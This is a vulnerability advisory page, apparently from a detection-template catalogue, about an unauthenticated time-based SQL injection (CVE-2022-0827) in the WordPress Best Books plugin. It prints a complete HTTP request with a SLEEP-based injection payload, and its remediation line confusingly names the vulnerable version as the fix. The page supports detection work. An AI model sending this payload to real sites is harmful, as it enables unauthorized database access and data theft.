🔙 목록으로 돌아가기

CVE-2022-0827: WordPress Best Books <=2.6.3 - SQL Injection

TitleWordPress Best Books <=2.6.3 - SQL Injection
Authortheamanrawat
SeverityCritical
ImpactAn attacker can exploit this vulnerability to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
RemediationUpdate to WordPress Best Books plugin version 2.6.3 or later to fix the SQL injection vulnerability.
CVSS Score9.8
EPSS Score0.71988
CVE IDCVE-2022-0827
CWE IDCWE-89
Tags time-based-sqli cve cve2022 sqli wpscan wordpress wp-plugin wp bestbooks unauthenticated presspage vkev vuln

🔍 Vulnerability Description

WordPress Best Books plugin through 2.6.3 is susceptible to SQL injection. The plugin does not sanitize and escape some parameters before using them in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.22
Connection: close
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=bestbooks_add_transaction&type=x&account=x&date=x&description=1&debit=(CASE WHEN (9277=9277) THEN SLEEP(6) ELSE 9277 END)&credit=1

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0827.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0827.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A